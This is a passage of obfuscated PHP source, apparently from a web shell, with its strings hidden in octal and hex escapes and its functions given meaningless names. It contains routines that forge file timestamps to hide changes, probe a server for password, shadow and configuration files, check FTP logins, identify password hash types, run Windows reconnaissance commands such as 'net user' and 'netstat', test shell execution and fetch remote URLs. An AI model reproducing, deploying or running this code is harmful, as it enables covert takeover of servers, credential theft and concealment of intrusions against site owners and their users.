"\40\150\157\165\x72\x73\x20" . $tmin . "\40\x6d\151\x6e\165\164\145\x73\x20" . $tsec . "\40\x73\145\143\157\x6e\144\163"; $tdate = @strtotime($sdate); if (@touch($touch, $tdate, $tdate)) { $tmsg = z9s("\x31\x31\63", @date("\x4d\x2d\x64\x2d\131\x20\110\x3a\151\x3a\163", $tdate)); } else { $tmsg = z9s("\x31\61\64"); } } if (@isset($st1) && $st1 && z4q($touch) && @isset($copy_from) && !@empty($copy_from) && z4q($copy_from)) { if (@touch($touch, @filemtime($copy_from), @filemtime($copy_from))) { $tmsg = z9s("\61\x31\x33", @date("\x4d\x2d\144\55\131\x20\110\72\151\x3a\x73", @filemtime($copy_from))); } else { $tmsg = z9s("\61\x31\64"); } } } goto SvJId; yjFZv: function z6x($i, $c = '', $s = '') { return z6w($c, $s) . $i . z7g(); } goto Lg8u5; NCd7A: function z7z() { return "\x3c\146\x6f\x72\155\x20\x6d\x65\x74\x68\157\x64\75\42\120\117\x53\124\42\x20\x61\143\164\151\x6f\156\75\42\x22\x20\145\156\143\x74\171\x70\145\x3d\x22\x6d\x75\154\164\151\x70\141\162\x74\x2f\146\x6f\162\x6d\55\144\x61\164\x61\42\76"; } goto mFupx; rspvC: function z6i($n, $v, $c = '', $o = '', $s = '') { return "\x3c\x69\x6e\160\x75\164\40\164\171\160\145\x3d\42\164\145\170\164\42\40\x6e\x61\x6d\145\x3d\x22" . $n . "\42\40\x76\x61\154\165\x65\75\x22" . z8x($v) . "\x22" . ($c != '' ? "\40\143\154\x61\163\x73\75\x22" . z4m($c, "\64") . "\x22" : '') . ($s != '' ? "\40" . (@is_numeric($s) ? z10t($s) : $s) : '') . ($o != '' ? z9k() : '') . "\x3e"; } goto rmdaf; yh282: function z6w($c = '', $s = '') { return z5l("\x63\x65\156\164\145\162", $c, $s); } goto fSYfL; vhO0t: $bmssql = z7r("\x6d\x73\x73\x71\x6c\137\x63\x6f\x6e\156\145\x63\x74"); goto RAsCn; hD0OD: function z2q($file) { if (!z4e($file)) { return false; } $me = z9p(__FILE__); if (!$me) { return false; } return z9y($file, $me); } goto HWJSP; aFLRi: function z3s($dir) { if (z7r("\162\145\141\x6c\x70\x61\x74\x68")) { global $win, $safeDirArr; $chars_rlph = "\x5f\55\x2e\x30\x31\x32\63\64\65\x36\x37\70\71\141\x62\x63\x64\145\146\147\150\x69\152\153\x6c\x6e\155\x6f\x70\x71\x72\x73\164\165\x76\167\x78\171\x7a\x41\x42\103\x44\x45\106\x47\x48\111\x4a\x4b\114\115\116\x4f\120\x51\x52\x53\x54\x55\126\127\x58\131\132"; $presets_rlph = array("\151\156\144\x65\170\x2e\x70\150\160", "\x2e\x68\x74\x61\143\x63\x65\163\x73", "\56\150\x74\x70\141\x73\163\x77\x64", "\150\164\x74\x70\144\56\x63\x6f\156\146", "\x76\150\157\163\164\163\56\x63\x6f\x6e\146", "\143\x66\x67\56\160\150\x70", "\143\157\156\146\x69\x67\x2e\x70\x68\160", "\x63\157\x6e\146\x69\147\56\151\x6e\x63\x2e\160\150\x70", "\x63\157\156\x66\x69\147\x2e\144\x65\x66\141\x75\154\x74\x2e\x70\x68\x70", "\x63\x6f\156\146\151\147\56\151\156\143\56\160\x68\x70", "\x73\150\141\x64\x6f\167", "\x70\141\x73\163\x77\144", "\x2e\142\x61\163\150\x5f\150\151\163\164\x6f\x72\x79", "\x2e\155\171\163\x71\154\137\150\151\163\164\x6f\162\171", "\155\x61\163\164\x65\162\x2e\160\x61\163\x73\167\144", "\165\163\x65\x72", "\x61\144\155\151\x6e", "\x70\x61\163\x73\167\x6f\162\x64", "\141\x64\155\x69\156\151\x73\x74\162\141\x74\x6f\x72", "\x70\x68\160\115\171\x41\144\155\151\156", "\x73\145\143\x75\x72\151\164\x79", "\160\x68\160\56\x69\x6e\151", "\x63\144\162\157\155", "\162\x6f\157\x74", "\155\x79\x2e\143\x6e\x66", "\160\165\162\x65\146\164\160\x64\x2e\x63\x6f\x6e\x66", "\160\x72\x6f\146\164\160\144\x2e\x63\x6f\x6e\146", "\146\164\x70\x64\x2e\x63\x6f\156\146", "\x72\x65\x73\x6f\154\166\56\x63\157\156\146", "\154\157\x67\151\x6e\x2e\143\x6f\x6e\x66", "\x73\x6d\x62\x2e\143\x6f\x6e\x66", "\x73\171\163\143\164\154\56\143\157\x6e\x66", "\x73\x79\x73\x6c\x6f\x67\56\143\157\156\146", "\x61\143\143\x65\x73\x73\x2e\x63\x6f\156\146", "\141\x63\x63\157\165\156\164\151\x6e\147\x2e\154\x6f\147", "\150\157\155\145", "\150\164\144\157\x63\163", "\x61\x63\x63\145\x73\x73", "\141\165\x74\150", "\x65\162\162\157\x72", "\142\141\143\x6b\x75\x70", "\x64\x61\164\141", "\142\x61\x63\x6b", "\x73\x79\x73\x63\x6f\156\x66\x69\x67", "\160\x68\160\x62\142", "\160\x68\160\x62\142\62", "\x76\x62\165\x6c\x6c\145\x74\151\156", "\166\142\165\x6c\x6c\145\x74", "\x70\150\x70\156\x75\153\x65", "\143\147\x69\x2d\x62\x69\156", "\150\164\x6d\154", "\x72\157\142\x6f\x74\163\56\164\170\164", "\x62\151\154\x6c\151\x6e\x67"); if (!$dir) { $dir = "\57\x65\164\x63\57"; } $end_rlph = ''; $n_rlph = "\x33"; $c = 0; $safeDirArr = array(); $rlpArr = array(); $error_reporting = @ini_get("\145\x72\162\157\162\137\162\145\160\x6f\x72\x74\x69\x6e\147"); @error_reporting(E_WARNING); @ini_set("\144\x69\163\160\154\141\x79\x5f\145\162\162\157\x72\x73", 1); @set_error_handler("\x7a\60\145"); if ($realpath = realpath($dir . "\x2f")) { echo $realpath . "\15\xa"; } if ($end_rlph != '' && ($realpath = realpath($dir . "\x2f" . $end_rlph))) { echo $realpath . "\xd\12"; $rlpArr[] = $realpath; } foreach ($presets_rlph as $preset_rlph) { if ($realpath = realpath($dir . "\x2f" . $preset_rlph . $end_rlph)) { echo $realpath . "\15\xa"; $rlpArr[] = $realpath; } } for ($i = 0; $i < strlen($chars_rlph); $i++) { if ($realpath = realpath($dir . "\x2f{$chars_rlph[$i]}" . $end_rlph)) { echo $realpath . "\xd\12"; $rlpArr[] = $realpath; } if ($n_rlph <= 1) { continue; } for ($j = 0; $j < strlen($chars_rlph); $j++) { if ($realpath = realpath($dir . "\57{$chars_rlph[$i]}{$chars_rlph[$j]}" . $end_rlph)) { echo $realpath . "\xd\xa"; $rlpArr[] = $realpath; } if ($n_rlph <= 2) { continue; } for ($x = 0; $x < strlen($chars_rlph); $x++) { if ($realpath = realpath($dir . "\x2f{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}" . $end_rlph)) { echo $realpath . "\15\12"; $rlpArr[] = $realpath; } if ($n_rlph <= 3) { continue; } for ($y = 0; $y < strlen($chars_rlph); $y++) { if ($realpath = realpath($dir . "\x2f{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}" . $end_rlph)) { echo $realpath . "\xd\12"; $rlpArr[] = $realpath; } if ($n_rlph <= 4) { continue; } for ($z = 0; $z < strlen($chars_rlph); $z++) { if ($realpath = realpath($dir . "\57{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}" . $end_rlph)) { echo $realpath . "\xd\12"; $rlpArr[] = $realpath; } if ($n_rlph <= 5) { continue; } for ($w = 0; $w < strlen($chars_rlph); $w++) { if ($realpath = realpath($dir . "\57{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}" . $end_rlph)) { echo $realpath . "\xd\12"; $rlpArr[] = $realpath; } } } } } } } $safeDirArr = @array_unique($safeDirArr); foreach ($safeDirArr as $item) { if (!@in_array($item, $rlpArr)) { echo @htmlspecialchars($item) . "\xd\12"; } } @error_reporting($error_reporting); } } goto vuKbf; nHnTd: function z2k($h) { $l = @strlen($h); $r = "\x55\x6e\153\156\x6f\167\x6e"; if ($l === 32) { if (z3z($h)) { $r = "\115\x44\65\x20\x2f\x20\115\x44\64\40\x2f\x20\115\104\x32\40\57\40\116\x54\114\115\x20\x2f\x20\124\x69\147\x65\162\x31\x32\70\x20\x2f\40\123\116\x45\x46\x52\x55\x31\62\x38\40\x2f\40\x52\x69\160\145\115\x44\x31\x32\x38\40\57\x20\110\141\166\x61\154\61\x32\x38\x5f\63\40\x2f\x20\110\x61\x76\x61\x6c\61\x32\70\137\64\x20\57\x20\x48\141\x76\x61\154\x31\x32\x38\137\65\40\x2f\40\x44\x6f\x6d\x61\x69\156\x20\x43\141\143\x68\145\144\40\103\162\145\x64\x65\156\x74\151\141\x6c\163"; } elseif (@preg_match("\57\x5e\x5b\60\x2d\71\101\x2d\106\x5d\53\44\x2f", $h)) { $r = "\127\x69\156\144\157\x77\163\x2d\x4c\115\40\57\x20\127\151\156\x64\x6f\x77\x73\55\116\124\x4c\115\x20\x2f\40\x52\103\64"; } elseif (@preg_match("\x2f\x5e\133\x30\55\x39\x61\55\172\x41\55\132\x2b\x5c\x2f\x2e\x5d\x2b\44\x2f", $h)) { $r = "\110\x61\x76\141\x6c\x31\x39\62\40\x28\102\x61\163\145\66\x34\x29\40\x2f\40\124\x69\x67\x65\162\55\61\71\x32\40\x28\102\x61\x73\145\x36\64\x29"; } } elseif ($l === 40) { if (z3z($h)) { $r = "\x53\x48\x41\55\x30\x20\x2f\40\123\110\x41\55\61\40\57\x20\124\151\x67\x65\162\x31\x36\x30\x20\57\x20\122\x69\160\x65\x4d\104\x31\x36\x30\40\x2f\40\115\171\x53\x51\x4c\x20\x76\65\x2e\170\x20\57\x20\110\x61\166\x61\x6c\x31\66\x30\40\x2f\40\x48\x61\166\141\x6c\61\x36\x30\x5f\x33\x20\x2f\40\x48\x61\166\141\x6c\x31\66\x30\137\x34\x20\x2f\x20\x48\141\x76\141\154\61\x36\x30\137\65"; } } elseif ($l === 8) { if (z3z($h)) { $r = "\x41\x44\114\105\x52\63\x32\x20\57\x20\103\x52\103\x2d\x33\62\40\x2f\40\x43\x52\x43\55\63\62\x42\x20\57\x20\x47\110\141\163\x68\55\63\x32\55\63\x20\57\x20\107\110\141\x73\150\55\63\62\x2d\x33"; } } elseif ($l === 13) { if (@preg_match("\57\x5e\x5b\x30\55\x39\141\x2d\x7a\101\x2d\132\x5c\x2f\x2e\135\x24\x2f", $h)) { $r = "\104\105\123\40\50\x55\x6e\x69\x78\x29"; } } elseif ($l === 16) { if (z3z($h)) { $r = "\x4d\171\123\121\x4c"; } } elseif ($l === 4) { if (z3z($h)) { $r = "\x43\x52\x43\x2d\61\x36\40\x2f\x20\x43\x52\x43\x2d\x31\66\55\103\103\x49\x54\124\x20\57\40\106\x43\123\x2d\61\x36"; } } elseif ($l === 34) { if (@preg_match("\x2f\136\x5c\44\61\134\x24\x5b\60\55\71\x61\55\172\x41\55\x5a\x5c\x2f\x2e\135\173\x38\x7d\134\x24\x5b\60\55\x39\141\x2d\172\101\x2d\x5a\x5c\57\56\135\173\x32\62\x7d\x20\x24\x2f", $h)) { $r = "\x4d\x44\65\40\50\x55\x6e\151\x78\x29"; } elseif (@preg_match("\x2f\x5e\134\x24\120\x5c\x24\102\133\x30\x2d\x39\x61\55\172\101\x2d\132\x5c\x2f\56\135\44\57", $h)) { $r = "\115\104\x35\x28\x57\x6f\162\x64\120\162\x65\163\x73\x29"; } elseif (@preg_match("\x2f\136\x5c\44\x48\x5c\44\71\x5b\60\x2d\71\141\55\x7a\x41\x2d\x5a\x5c\57\56\x5d\x24\x2f", $h)) { $r = "\x4d\104\x35\x28\x50\150\x70\x42\102\x33\x29"; } } elseif ($l === 128) { if (z3z($h)) { $r = "\123\110\101\x2d\65\x31\x32\40\x2f\x20\x57\x48\111\122\114\120\x4f\x4f\114\40\57\x20\123\101\114\123\x41\x32\x30"; } } elseif ($l === 96) { if (z3z($h)) { $r = "\123\x48\101\55\63\70\64"; } } elseif ($l === 48) { if (z3z($h)) { $r = "\110\141\166\x61\154\x31\71\x32\x20\57\40\110\141\166\x61\x6c\61\x39\62\137\x34\x20\57\x20\x48\x61\x76\x61\154\61\71\62\x5f\x35\40\57\40\x54\x69\147\145\162\61\71\x32\40\57\40\x54\x69\x67\x65\x72\x32\x20\57\x20\123\x41\x4c\x53\x41\x31\60"; } } elseif ($l === 56) { if (z3z($h)) { $r = "\x48\x61\166\141\154\x32\x32\64\x20\57\x20\110\141\x76\141\x6c\x32\64\64\137\63\40\57\x20\x48\141\166\141\x6c\x32\x34\64\x5f\x34\40\x2f\x20\123\110\101\62\62\64"; } if (z1b($h)) { $r = "\122\x69\160\145\115\x44\x33\62\x30\40\x28\102\141\163\x65\66\x34\x29"; } } elseif ($l === 64) { if (z3z($h)) { $r = "\123\116\105\x46\122\125\62\x35\66\40\x2f\x20\123\x48\x41\55\x32\x35\66\40\57\40\x52\151\160\x65\115\104\x32\65\x36\x20\57\x20\x50\x61\x6e\141\155\141\x20\57\40\110\x61\x76\x61\154\x32\65\x36\x20\x2f\40\x48\141\x76\x61\x6c\x32\x35\66\137\63\40\x2f\40\110\x61\166\141\154\x32\x35\66\137\x34\40\57\x20\x48\x61\166\x61\154\x32\65\66\x5f\65"; } elseif (@preg_match("\57\x5e\x5b\60\x2d\x39\141\x2d\172\101\55\132\53\x5c\x2f\x2e\x5d\x2b\44\57", $h)) { $r = "\x53\110\x41\x33\x38\x34\x20\50\x42\141\163\x65\66\x34\51"; } } elseif ($l === 37) { if (@preg_match("\x2f\136\x5c\44\141\160\162\61\x5c\x24\133\x30\x2d\x39\x61\55\172\x41\x2d\132\134\x2f\x2e\135\173\x38\x7d\x5c\x24\x5b\60\x2d\71\141\x2d\172\101\x2d\132\134\x2f\56\x5d\x7b\x32\x32\x7d\40\x24\x2f", $h)) { $r = "\115\x44\x35\x20\50\101\x50\122\x29"; } } elseif ($l === 80) { if (z3z($h)) { $r = "\x52\x69\160\145\115\x44\63\62\60"; } } elseif ($l === 24) { if (z1b($h)) { $r = "\x48\141\x76\x61\154\61\x32\x38\x20\50\102\x61\163\x65\x36\x34\x29\x20\x2f\x20\x4d\104\62\x20\x28\102\141\x73\x65\x36\64\51\40\x2f\x20\115\104\64\40\x28\x42\x61\x73\x65\x36\64\x29\40\57\40\115\x44\65\x20\50\x42\x61\163\145\66\x34\51\x20\57\x20\x52\x69\160\x65\x4d\x44\x31\62\x38\40\x28\102\141\163\x65\x36\x34\x29\x20\57\x20\x53\x4e\x45\106\x52\125\61\62\70\40\50\x42\x61\x73\145\x36\64\51\x20\x2f\x20\x54\x69\x67\x65\162\x31\62\70\x20\50\102\x61\163\x65\x36\64\51"; } } elseif ($l === 28) { if (@preg_match("\x2f\x5e\x5b\60\x2d\x39\x61\x2d\172\101\55\x5a\x2b\x5c\x2f\56\x5d\x2b\x3d\44\x2f", $h)) { $r = "\123\110\x41\55\61\40\x28\102\141\163\x65\66\64\51\x20\57\x20\110\141\166\x61\154\61\66\60\x20\50\x42\141\x73\145\x36\64\51\40\x2f\40\x52\x69\x70\145\x4d\104\x31\66\60\40\50\102\x61\163\145\66\x34\x29\40\x2f\40\x54\151\147\145\x72\61\x36\x30\40\x28\x42\141\163\145\x36\x34\51"; } } elseif ($l === 44) { if (@preg_match("\57\136\x5b\60\55\x39\x61\x2d\x7a\101\55\132\53\x5c\57\56\135\53\75\x24\x2f", $h)) { $r = "\x48\x61\166\x61\x6c\x32\65\x36\x20\x28\102\x61\163\145\x36\x34\x29\x20\x2f\x20\x52\x69\160\x65\115\104\62\65\66\40\x28\x42\141\x73\145\x36\x34\51\x20\x2f\40\x53\x48\x41\x32\x35\66\40\x28\102\141\163\145\66\x34\51\40\x2f\x20\x53\x4e\x45\x46\x52\125\62\x35\x36\x20\50\x42\x61\x73\145\66\x34\x29"; } } elseif ($l === 88) { if (z1b($h)) { $r = "\x53\110\101\x35\x31\x32\x20\50\102\x61\x73\145\66\x34\51\x20\57\x20\127\110\111\122\x4c\x50\x4f\x4f\x4c\40\50\x42\x61\x73\145\66\64\x29"; } } elseif ($l === 9) { if (@is_numeric($h)) { $r = "\x45\x6c\146\x2d\63\x32"; } } return $r; } goto LN03a; VUgE4: function z1p($p) { $r = ''; for ($i = 0; $i < @strlen($p); ++$i) { $r .= @sprintf("\x25\x30\x32\130", @ord($p[$i])); } return @strtoupper($r); } goto oh0uF; GyRyH: $test_cmd = z9t("\145\143\x68\157\x20\x7a\137\164\145\x73\164\145\170\x65\x63"); goto ViGlf; f6Quo: $cuser = z5k(); goto urrSR; Ajw35: $b_buf = array("\x62\160\141\163\x74\x65\x63\157\x70\171", "\142\x70\141\163\164\x65\x63\165\164", "\x62\x70\141\x73\164\x65\141\154\x6c"); goto xYCKC; BxBhi: $winaliases = array('' => "\144\151\x72", "\x2d\40\x73\150\157\x77\40\x6f\160\x65\156\40\160\x6f\162\x74\163" => "\x6e\x65\x74\163\x74\x61\164\40\x2d\x6e\141\x74", "\55\x20\162\x75\156\x6e\x69\156\147\40\x70\162\157\147\x72\141\x6d\163" => "\x74\141\163\153\x6c\x69\x73\164\x20\x2d\x76", "\55\x20\x72\x75\x6e\x6e\x69\x6e\x67\x20\163\145\x72\x76\151\143\145\x73" => "\x6e\145\x74\x20\x73\x74\141\162\x74", "\55\x20\x73\150\157\x77\40\165\x73\x65\x72\163" => "\156\145\x74\x20\x75\x73\145\162", "\x2d\40\163\x68\x6f\167\x20\143\x6f\x6d\160\165\x74\145\162\163" => "\156\x65\164\x20\166\x69\x65\x77", "\55\40\x61\162\x70\40\x74\x61\142\x6c\145" => "\141\x72\x70\x20\x2d\141", "\55\40\x69\160\40\x63\x6f\x6e\x66\151\147" => "\151\x70\x63\x6f\156\x66\151\147\x20\x2f\141\x6c\154", "\55\40\x6d\141\143\x20\141\144\144\162\145\163\163" => "\147\145\164\x6d\141\143", "\x2d\x20\x73\171\163\164\145\155\x69\156\146\157" => "\163\x79\x73\x74\145\155\x69\x6e\146\x6f", "\x2d\40\146\151\154\145\40\141\163\x73\x6f\143\x69\141\x74\x69\157\156\163" => "\141\163\163\x6f\143"); goto hTgtR; W5F2W: function z4x($f) { $a = z4s($f); $o = array("\143\x6f\144\x65", "\164\145\170\164"); if (@count($a) > 0) { if (@count($a) > 1) { foreach ($a as $ft) { if (@in_array($ft, $o)) { return $ft; } } return $a[0]; } else { return $a[0]; } } else { return ''; } } goto AEvWB; O7cyY: function z1s($type) { return "\74\x69\x6e\x70\165\x74\40\164\171\160\x65\x3d\42\163\x75\142\155\x69\x74\x22\40\x63\154\141\x73\163\75\42" . ($type == "\x64" ? "\151\144\x69\x6d\x67" : "\151\x66\x69\x6d\x67") . "\42\x20\166\x61\x6c\x75\145\x3d\x22\46\x6e\x62\x73\x70\73\42\x3e"; } goto OBXWt; g2v73: function z9k() { return "\x20\x6f\x6e\x66\157\143\165\x73\x3d\x22\x74\150\151\163\x2e\163\x65\154\145\143\164\x28\51\x3b\x22\x20\157\156\155\157\165\x73\x65\157\166\145\162\x3d\42\x74\x68\x69\163\x2e\163\x65\154\145\143\x74\50\x29\x3b\42\x20\157\x6e\155\157\165\x73\x65\x6f\x75\x74\75\42\164\150\x69\x73\x2e\163\145\x6c\145\143\164\x28\x29\73\x22"; } goto m3Iuh; qgHsQ: function z10w() { return "\x3c\57\x74\x61\142\154\145\76" . "\xa"; } goto eC9G4; w1s_i: $_SESSION["\x75\x73\x65\x5f\x69\155\x61\147\145\163"] = $use_images; goto S8mJj; ztzx9: function z6z($a = '', $c = '', $s = '') { return "\x3c\x74\141\142\x6c\x65\x20\143\145\x6c\154\160\x61\144\144\151\x6e\x67\75\x22\60\42\40\143\145\154\154\163\x70\x61\x63\151\156\x67\x3d\x22\60\42\x20\x62\x6f\162\144\145\162\x3d\42\60\42" . ($a != '' ? "\40\x61\x6c\151\147\156\75\42" . $a . "\x22" : '') . ($c != '' ? "\40\x63\x6c\141\163\163\75\42" . z4m($c, "\60") . "\x22" : '') . ($s != '' ? z10t($s) : '') . "\76" . "\12"; } goto duiW_; DKbqu: function z5g($s, $eol = "\xa", $d = "\54", $e = "\42", $esc = "\x5c") { $r = array(); if (@strstr($s, $eol)) { $p = @explode($eol, $s); foreach ($p as $l) { if (!@empty($l)) { $r[] = z8y($l, $d, $e, $esc); } } } else { $r[] = z8y($s, $d, $e, $esc); } return $r; } goto AS7b2; gBOwL: $bfsock = z7r("\146\x73\x6f\x63\x6b\x6f\160\145\x6e"); goto JtPmn; ddbED: function z5c($a, $i, $t = '') { return z8w($a, $t) . $i . z9z(); } goto egxpU; wEoeY: function z4p($t) { return z6y($t, "\x6e\167"); } goto eZm70; a68en: $boracle = z7r("\x6f\143\151\154\x6f\147\157\x6e"); goto lv7_L; ccX5v: function z3a($u) { $s = @curl_init(); @curl_setopt($s, CURLOPT_URL, $u); @curl_setopt($s, CURLOPT_USERAGENT, z7x("\x32", "\144\157\167\x6e\x6c\x6f\141\144\141")); @curl_setopt($s, CURLOPT_RETURNTRANSFER, true); $r = @curl_exec($s); @curl_close($s); return $r; } goto RnUJw; BE1bq: function z5l($a = '', $c = '', $s = '') { return "\x3c\164\144" . ($a != '' ? "\x20\141\x6c\x69\147\156\x3d\x22" . $a . "\42" : '') . ($c != '' ? "\40\143\x6c\x61\x73\x73\75\42" . z4m($c, "\62") . "\x22" : '') . ($s != '' ? z10t($s) : '') . "\x3e" . "\12"; } goto S6J5Y; XO1Lg: function z0x() { $encode_functions = array(); foreach (array("\x7a\x33\164" => "\x53\164\x72\151\156\147\163", "\x75\162\x6c\145\156\143\x6f\144\x65" => "\125\x72\x6c\145\156\x63\x6f\x64\145", "\165\x72\154\144\145\143\157\x64\x65" => "\125\x72\154\x64\x65\143\x6f\x64\145", "\172\x30\x79" => "\x46\x75\x6c\x6c\40\x55\162\154\145\x6e\143\x6f\144\145", "\x72\141\x77\165\x72\154\145\156\143\157\x64\145" => "\x52\x61\167\x75\x72\x6c\x65\156\143\157\144\145", "\162\141\x77\165\x72\154\x64\x65\143\x6f\144\145" => "\122\x61\167\165\x72\154\x64\145\x63\x6f\x64\x65", "\x62\x61\163\x65\66\x34\x5f\145\x6e\x63\x6f\x64\x65" => "\102\141\163\x65\66\x34\x20\105\156\x63\x6f\144\145", "\172\x34\x76" => "\102\x61\163\x65\66\64\40\x45\156\143\x6f\144\145\x20\53\x20\103\x68\x75\156\x6b", "\172\x33\155" => "\x42\x61\x73\x65\x36\x34\40\x45\x6e\143\x6f\144\145\x20\53\x20\103\x68\165\156\x6b\40\x2b\40\x51\x75\x6f\164\145\163", "\142\141\x73\x65\x36\64\x5f\144\x65\x63\x6f\144\145" => "\x42\x61\x73\x65\66\64\40\x44\x65\143\x6f\x64\145", "\172\61\160" => "\x41\x53\x43\111\111\x20\x74\157\x20\110\105\x58", "\x7a\x30\172" => "\x41\123\x43\x49\x49\40\164\x6f\40\x48\x45\130\x20\x2b\x20\103\150\165\x6e\153", "\172\x30\154" => "\110\x45\x58\40\x74\x6f\40\x41\x53\103\111\x49", "\172\x5f\150\145\170\x64\x65\x63" => "\x48\x45\x58\x20\x74\157\40\x44\105\103", "\x7a\63\x75" => "\110\x45\x58\x20\164\157\40\102\x49\x4e", "\144\145\143\x68\x65\170" => "\x44\x45\x43\x20\164\157\40\x48\105\x58", "\144\145\143\x62\151\156" => "\104\105\x43\x20\x74\157\x20\x42\111\116", "\172\64\x6f" => "\102\111\x4e\40\164\x6f\x20\x48\x45\130", "\142\151\x6e\x64\145\x63" => "\x42\111\116\x20\x74\157\40\104\105\x43", "\x73\x74\162\x74\157\x6c\x6f\x77\145\162" => "\x53\164\x72\x69\x6e\x67\40\x74\x6f\x20\154\x6f\x77\145\162\143\x61\163\145", "\x73\164\162\164\x6f\165\x70\x70\145\x72" => "\x53\x74\x72\151\x6e\x67\x20\x74\157\40\x55\120\120\105\122\x43\101\123\x45", "\x68\x74\155\154\163\x70\x65\x63\151\x61\154\x63\150\x61\x72\163" => "\x48\164\x6d\x6c\x73\x70\145\x63\151\x61\154\x63\150\141\x72\163", "\163\164\x72\154\145\156" => "\x53\164\162\151\156\x67\x20\114\145\156\x67\164\x68", "\x73\164\162\162\x65\166" => "\x52\145\166\x65\162\x73\145\40\123\164\x72\x69\156\147") as $key => $val) { if (z7r($key) || z7r(@substr($key, 0, @strlen($key) - 1))) { $encode_functions[$key] = "{$val}"; } } return $encode_functions; } goto lWHbw; tsXTw: z9u(); goto U528d; Y7GQE: function z3h($host, $user, $pass, $port, $timeout) { $ftp = @ftp_connect($host, $port, $timeout); if (!$ftp) { return "\146\x61\x69\154\145\144"; } else { if (@ftp_login($ftp, $user, $pass)) { return "\166\141\154\151\144"; } else { return "\x69\156\166\141\x6c\x69\x64"; } @ftp_close($ftp); } } goto c6sfM; HpxPY: function z3j($f) { return z2r($f, "\x4c"); } goto jA3qO; e5RW2: if ($act == "\x65\156\x63\x6f\144\x65\162\163") { $hash_algos = array('' => z9s("\x32\66\x30")); if (!@isset($hash_input)) { $hash_input = ''; } if (z7r("\150\x61\163\x68\137\141\x6c\147\157\x73") && @z7r("\x68\141\163\x68")) { $hfnc = 1; $hashes = @hash_algos(); } else { $hfnc = 0; $hashes = array(); foreach (array("\x6d\144\65", "\x73\150\x61\x31", "\x63\x72\143\x33\62") as $hh) { if (z7r($hh)) { $hashes[] = $hh; } } } foreach ($hashes as $ha) { $hash_algos[$ha] = $ha; } $encode_functions = z0x(); $submited = 0; if (@isset($submit_encode) && $submit_encode && @isset($encoder_input) && !@empty($encoder_input)) { $submited = 1; } $encoder_output = ''; if (!@isset($ip_input) || @empty($ip_input)) { $ip_input = $saddr; } echo z2b(array(z9s("\x32\64\66"), z9s("\62\x35\x33")), "\64\66"); echo z9m(2) . z7p() . z7k('', "\x34") . z6d() . z9m("\x32") . z9l('', "\x68\141\x73\150\137\146\x6f\x72\x6d") . z9b("\x61\x63\164", "\x65\156\143\x6f\x64\x65\x72\163") . z9b("\x64") . z9b("\150\164\171\160\x65", "\x31") . z7i(z5t(z9s("\62\x34\x37")) . z9j(z5u("\150\141\x73\x68\151\156\x70\165\164", '', "\x35") . z8v(z9s("\x32\x34\70"), "\67") . z8m(z9s("\62\65\60"), "\144\x6f\143\165\155\x65\x6e\164\x2e\x68\x61\163\150\137\x66\x6f\x72\155\56\150\141\x73\150\151\156\x70\x75\x74\x2e\166\141\x6c\165\x65\75\x27\47\x3b", "\x37"))) . z9z() . z10w(); if (@isset($htype) && $htype) { echo z10e(z9f(z5t(z9s("\62\65\61")) . z9j(z5w('', "\66") . z2k($hashinput) . z5q())), "\x32"); } echo z7g() . z7k('', "\x34\66") . z6d() . z9m("\x32") . z9l('', "\x69\160\x5f\x66\x6f\162\155") . z9b("\x61\143\164", "\145\156\143\157\x64\145\x72\163") . z9b("\144") . z9b("\163\x75\142\155\x69\164\137\151\x70", "\61") . z7i(z5t(z9s("\x32\x35\64")) . z9j(z6i("\x69\x70\137\151\156\x70\x75\x74", @htmlspecialchars($ip_input), "\x35") . z8v(z9s("\x32\64\70"), "\x37") . z8m(z9s("\x32\65\x30"), "\144\x6f\x63\165\x6d\x65\x6e\164\56\x69\x70\x5f\x66\x6f\x72\155\56\151\x70\137\151\x6e\x70\x75\x74\x2e\x76\141\x6c\x75\145\75\x27\x27\x3b", "\x37"))) . z9z() . z10w(); if (@isset($submit_ip) && $submit_ip == "\x31" && @isset($ip_input) && !@empty($ip_input)) { echo z9m("\62") . z7i(z5t(z9s("\x32\65\x35")) . z9j(z8h(sprintf("\x25\x75", @ip2long($ip_input)), "\x30") . z9c() . z10y("\x68\x74\164\x70\72\x2f\57" . @sprintf("\45\165", @ip2long($ip_input)) . "\57", z9s("\62\65\x32"), "\x31", 1))) . z7i(z5t(z9s("\62\x35\66")) . z9j(z8h(z2n($ip_input) == "\146\141\151\154\145\x64" ? "\x66\x61\151\x6c\145\144" : z2n($ip_input), "\60") . (z2n($ip_input) == "\146\x61\151\x6c\145\144" ? '' : z9c() . z10y("\x68\164\164\160\72\x2f\57" . z2n($ip_input) . "\57", z9s("\62\x35\x32"), "\x31", 1)))) . z7i(z5t(z9s("\x32\65\x37")) . z9j(z8h(z1h($ip_input) == "\146\141\151\154\145\x64" ? "\x66\x61\151\154\145\x64" : z1h($ip_input), "\x30") . (z1h($ip_input) == "\x66\141\151\154\145\x64" ? '' : z9c() . z10y("\150\x74\164\160\x3a\57\x2f" . z1h($ip_input) . "\x2f", z9s("\62\65\62"), "\61", 1)))) . z10w(); } echo z6d(); echo z7g() . z7u() . z10w(); echo z2b(array(z9s("\x34\63\62"), z9s("\64\63\63")), "\x34\66"); echo z9m(2) . z7p() . z7k('', "\64") . z6d() . z9m("\x32") . z9l('', "\x68\141\163\150\x69\x6e\147\137\146\157\x72\x6d") . z9b("\x61\x63\x74", "\145\x6e\x63\157\144\x65\162\163") . z9b("\x64") . z7i(z5t(z9s("\62\x35\x38")) . z9j(z4a("\150\141\163\150\x5f\x74\x79\x70\x65", $hash_algos, "\x35", 1) . z8v(z9s("\62\64\71"), "\x37") . z8m(z9s("\x32\65\x30"), "\x64\x6f\143\x75\155\x65\x6e\x74\56\x68\141\x73\150\x69\156\x67\x5f\146\x6f\162\x6d\x2e\150\141\x73\x68\x5f\x69\156\160\165\x74\56\x76\x61\x6c\165\x65\75\47\47\73", "\67"))) . z9f(z5t(z9s("\x32\x35\x39")) . z9j(z5w("\150\141\x73\x68\137\151\x6e\x70\165\x74", "\x36") . (@isset($hash_input) ? @htmlspecialchars($hash_input) : '') . z5q())) . z9z() . z10w() . z6d() . z7g() . z7k('', "\64\x36") . z6d() . z9m("\62") . z9l('', 